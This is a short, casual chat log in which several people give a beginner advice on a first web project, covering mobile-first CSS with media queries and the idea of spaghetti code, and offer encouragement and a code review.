When we say 'mobile first' this is ( one of the things ) I mean . You first build your design only for small sizes, and then once you're happy, you add some media queries and make it look nice for desktop. You'll find that that will be super quick and easy ( the other around sucks because you're going to be fighting cascading styles! )
and then you get spaghetti
Spaghetti code is a pejorative phrase for unstructured and difficult-to-maintain source code. Spaghetti code can be caused by several factors, such as volatile project requirements, lack of programming style rules, and software engineers with insufficient ability or experience.
π
lmfao
I gotcha
I really do appreciate the critisism, and assistance guys!
Thank you!
Lmfao
happy to code review too if you want
Like I said I'm still learning
But for my fist public project, I think it actuall looks pretty nice
Still want to try to take away some of the myspace aspects it has though lmfao
dw, experience and experimentation will get you there